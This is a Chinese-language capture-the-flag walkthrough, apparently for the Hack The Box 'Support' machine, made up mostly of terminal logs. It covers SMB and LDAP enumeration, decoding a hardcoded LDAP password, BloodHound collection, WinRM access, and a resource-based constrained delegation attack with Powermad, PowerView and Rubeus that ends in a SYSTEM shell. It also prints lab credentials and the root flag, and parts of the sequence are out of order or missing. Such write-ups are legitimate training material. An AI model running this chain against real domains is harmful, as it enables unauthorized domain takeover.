┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p53,88,123 --min-rate=1000010.10.11.174 -sU -sC -sV Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-20 16:39 CST Nmap scan report for10.10.11.174 Host is up (0.32s latency).
PORT STATE SERVICE VERSION 53/udp open domain (generic dns response: NOTIMP) | fingerprint-strings: | NBTStat: |_ CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-03-2008:39:46Z) 123/udp open ntp NTP v3 | ntp-info: |_ 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-UDP:V=7.94SVN%I=7%D=3/20%Time=65FAA0E1%P=aarch64-unknown-linux-g SF:nu%r(NBTStat,32,"\x80\xf0\x80\x82\0\x01\0\0\0\0\0\0\x20CKAAAAAAAAAAAAAA SF:AAAAAAAAAAAAAAAA\0\0!\0\x01"); Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results: |_clock-skew: 8s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 32.69 seconds
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- --min-rate=1000010.10.11.174 -oG allports PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 9389/tcp open adws 49664/tcp open unknown 49668/tcp open unknown 49676/tcp open unknown 49679/tcp open unknown 49757/tcp open unknown 51350/tcp open unknown
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49676,49679,49757,51350 --min-rate=10000 -sC -sV 10.10.11.174 PORT STATE SERVICE VERSION 53/tcp open domain? 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-03-2008:39:27Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 9389/tcp open mc-nmf .NET Message Framing 49664/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49679/tcp open msrpc Microsoft Windows RPC 49757/tcp open msrpc Microsoft Windows RPC 51350/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share support-tools Disk support staff tools SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.10.11.174 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient \\\\10.10.11.174\\NETLOGON -N Try "help" to get a list of possible commands. smb: \> ls NT_STATUS_ACCESS_DENIED listing \* smb: \> exit
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient \\\\10.10.11.174\\support-tools -N Try "help" to get a list of possible commands. smb: \> ls . D 0 Thu Jul 2101:01:062022 .. D 0 Sat May 2819:18:252022 7-ZipPortable_21.07.paf.exe A 2880728 Sat May 2819:19:192022 npp.8.4.1.portable.x64.zip A 5439245 Sat May 2819:19:552022 putty.exe A 1273576 Sat May 2819:20:062022 SysinternalsSuite.zip A 48102161 Sat May 2819:19:312022 UserInfo.exe.zip A 277499 Thu Jul 2101:01:072022 windirstat1_1_2_setup.exe A 79171 Sat May 2819:20:172022 WiresharkPortable64_3.6.5.paf.exe A 44398000 Sat May 2819:19:432022
4026367 blocks of size 4096.970934 blocks available smb: \> get UserInfo.exe.zip getattrib: NT_STATUS_IO_TIMEOUT smb: \> get getSMBecho failed(NT_STATUS_INVALID_NETWORK_RESPONSE). The connection is disconnected now NT_STATUS_CONNECTION_DISCONNECTED opening remote file \ge
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient \\\\10.10.11.174\\support-tools -N Try "help" to get a list of possible commands. smb: \> get UserInfo.exe.zip getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip(40.6 KiloBytes/sec)(average 40.6 KiloBytes/sec) smb: \> exit
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient \\\\10.10.11.174\\SYSVOL -N Try "help" to get a list of possible commands. smb: \> ls NT_STATUS_ACCESS_DENIED listing \* smb: \> exit
┌──(kali㉿offsec)-[~/Desktop] └─$ python3 Python 3.11.7 (main, Dec 82023, 14:22:46) [GCC 13.2.0] on linux Type "help", "copyright", "credits" or "license"for more information. >>> from base64 import b64decode >>> from itertools import cycle >>> pass_b64 = b"0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E" >>> key = b"armando" >>> enc = b64decode(pass_b64) >>> [e^k^223for e,k in zip(enc, cycle(key))] [110, 118, 69, 102, 69, 75, 49, 54, 94, 49, 97, 77, 52, 36, 101, 55, 65, 99, 108, 85, 102, 56, 120, 36, 116, 82, 87, 120, 80, 87, 79, 49, 37, 108, 109, 122] >>> bytearray([e^k^223for e,k in zip(enc, cycle(key))]).decode() 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' >>>
12、使用crackmapexec工具验证账号密码是否可以使用
1 2 3 4
┌──(kali㉿offsec)-[~/Desktop] └─$ crackmapexec smb support.htb -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' SMB support.htb 445 DC [*] Windows 10.0 Build 20348 x64 (name:DC) (domain:support.htb) (signing:True) (SMBv1:False) SMB support.htb 445 DC [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
13、感觉可以,那就上bloodhound开始信息收集吧
1 2 3 4 5 6
┌──(kali㉿offsec)-[~/Desktop] └─$ bloodhound-python -c ALL -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -d support.htb -ns 10.10.11.174 INFO: Found AD domain: support.htb INFO: Getting TGT for user WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error(dc.support.htb:88)] [Errno -2] Name or service not known INFO: Connecting to LDAP server: dc.support.htb
14、出现报错了,先绑定下本地的hosts信息
1 2 3
┌──(kali㉿offsec)-[~/Desktop] └─$ echo "10.10.11.174 dc.support.htb" | sudo tee -a /etc/hosts 10.10.11.174 dc.support.htb
┌──(kali㉿offsec)-[~/Desktop] └─$ bloodhound-python -c ALL -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -d support.htb -dc dc.support.htb -ns 10.10.11.174 --zip INFO: Found AD domain: support.htb INFO: Getting TGT for user INFO: Connecting to LDAP server: dc.support.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 2 computers INFO: Connecting to LDAP server: dc.support.htb INFO: Found 21 users INFO: Found 53 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: Management.support.htb INFO: Querying computer: dc.support.htb WARNING: DCE/RPC connection failed: SMB SessionError: STATUS_INVALID_PARAMETER(An invalid parameter was passed to a service or function.) WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out. WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out. WARNING: DCE/RPC connection failed: SMB SessionError: STATUS_INVALID_PARAMETER(An invalid parameter was passed to a service or function.) WARNING: DCE/RPC connection failed: SMB SessionError: STATUS_INVALID_PARAMETER(An invalid parameter was passed to a service or function.) WARNING: DCE/RPC connection failed: The NETBIOS connection with the remote host timed out. INFO: Done in 01M 43S INFO: Compressing output into 20240320204202_bloodhound.zip
16、启动 neo4j 数据库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo neo4j start [sudo] kali 的密码: Directories in use: home: /usr/share/neo4j config: /usr/share/neo4j/conf logs: /etc/neo4j/logs plugins: /usr/share/neo4j/plugins import: /usr/share/neo4j/import data: /etc/neo4j/data certificates: /usr/share/neo4j/certificates licenses: /usr/share/neo4j/licenses run: /var/lib/neo4j/run Starting Neo4j. Started neo4j(pid:19004). It is available at http://localhost:7474 There may be a short delay until the server is ready.
┌──(kali㉿offsec)-[~/Desktop] └─$ evil-winrm -i 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful'
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\support\Documents> cd ../Desktop *Evil-WinRM* PS C:\Users\support\Desktop> dir
我将滥用基于资源的受限委派。首先,我将在我的控制下将一台假计算机添加到域中。然后我可以充当 DC 为假计算机请求 Kerberos 票证,从而能够模拟其他帐户,例如管理员帐户。为此,我需要一个经过身份验证的用户,该用户可以将计算机添加到域中(默认情况下,任何用户最多可以添加 10 台计算机)。这是在ms-ds-machineaccountquota属性中配置的,该属性需要大于 0。最后,我需要对加入域的计算机具有写入权限(GenericALL在 DC 上我需要该权限)。
继续执行该计划,我们将使用evil-winrm将 Powermad 上传到目标服务器。随后,提供的命令将向 AD 对象添加一台假计算机,使用约束委派权限配置新的假计算机,并为这个新创建的实体生成密码哈希。
Info: Uploading /home/kali/Desktop/tools/PowerSploit//home/kali/Desktop/tools/Powermad/Powermad.ps1 to C:\Users\support\Desktop\Powermad.ps1
Error: Upload failed. Check filenames or paths: No such file or directory - No such file or directory /home/kali/Desktop/tools/PowerSploit/home/kali/Desktop/tools/Powermad/Powermad.ps1 *Evil-WinRM* PS C:\Users\support\Desktop> upload ../Powermad/Powermad.ps1
Info: Uploading /home/kali/Desktop/tools/PowerSploit/../Powermad/Powermad.ps1 to C:\Users\support\Desktop\Powermad.ps1
Info: Uploading /home/kali/Desktop/tools/PowerSploit//home/kali/Desktop/tools/Rubeus/Rubeus.exe to C:\Users\support\Desktop\Rubeus.exe
Error: Upload failed. Check filenames or paths: No such file or directory - No such file or directory /home/kali/Desktop/tools/PowerSploit/home/kali/Desktop/tools/Rubeus/Rubeus.exe *Evil-WinRM* PS C:\Users\support\Desktop> upload ../Rubeus/Rubeus.exe
Info: Uploading /home/kali/Desktop/tools/PowerSploit/../Rubeus/Rubeus.exe to C:\Users\support\Desktop\Rubeus.exe
Data: 369320 bytes of 369320 bytes copied
Info: Upload successful! *Evil-WinRM* PS C:\Users\support\Desktop> dir
[*] Requesting shares on dc.support.htb..... [*] Found writable share ADMIN$ [*] Uploading file OfkknBGb.exe [*] Opening SVCManager on dc.support.htb..... [*] Creating service DCRe on dc.support.htb..... [*] Starting service DCRe..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.20348.859] (c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami nt authority\system
C:\Windows\system32> cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>dir Volume in drive C has no label. Volume Serial Number is 955A-5CBB
通过“New-MachineAccount”命令成功将虚假计算机对象添加到 AD 后,后续步骤涉及利用内置 AD 模块。具体来说,“Set-ADComputer”命令用于向新添加的假计算机授予约束委派权限。最后的“Get-ADComputer”命令用作验证步骤,确保已添加由 CN FAKE01 表示的计算机。在 Windows 中,添加计算机对象的默认配额通常设置为 10。
*Evil-WinRM* PS C:\Users\support\Documents> cd ../Desktop *Evil-WinRM* PS C:\Users\support\Desktop> Import-Module ./Powermad.ps1 *Evil-WinRM* PS C:\Users\support\Desktop> Get-DomainObject -Identity 'DC=SUPPORT,DC=HTB' | select ms-ds-machineaccountquota The term 'Get-DomainObject' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again. At line:1char:1 + Get-DomainObject -Identity 'DC=SUPPORT,DC=HTB' | select ms-ds-machine ... + ~~~~~~~~~~~~~~~~ + CategoryInfo : ObjectNotFound: (Get-DomainObject:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException *Evil-WinRM* PS C:\Users\support\Desktop>
Warning: Press "y" to exit, press any other key to continue *Evil-WinRM* PS C:\Users\support\Desktop> Import-Module ./PowerView.ps1 *Evil-WinRM* PS C:\Users\support\Desktop> Get-DomainObject -Identity 'DC=SUPPORT,DC=HTB' | select ms-ds-machineaccountquota
[!] Launching semi-interactive shell - Careful what you execute C:\Windows\system32>whoami nt authority\system
C:\Windows\system32>cd C:/Users/Administrator/Desktop [-] You can't CD under SMBEXEC. Use full paths. C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt 99ed202f462e3da8e669eaee03d6e250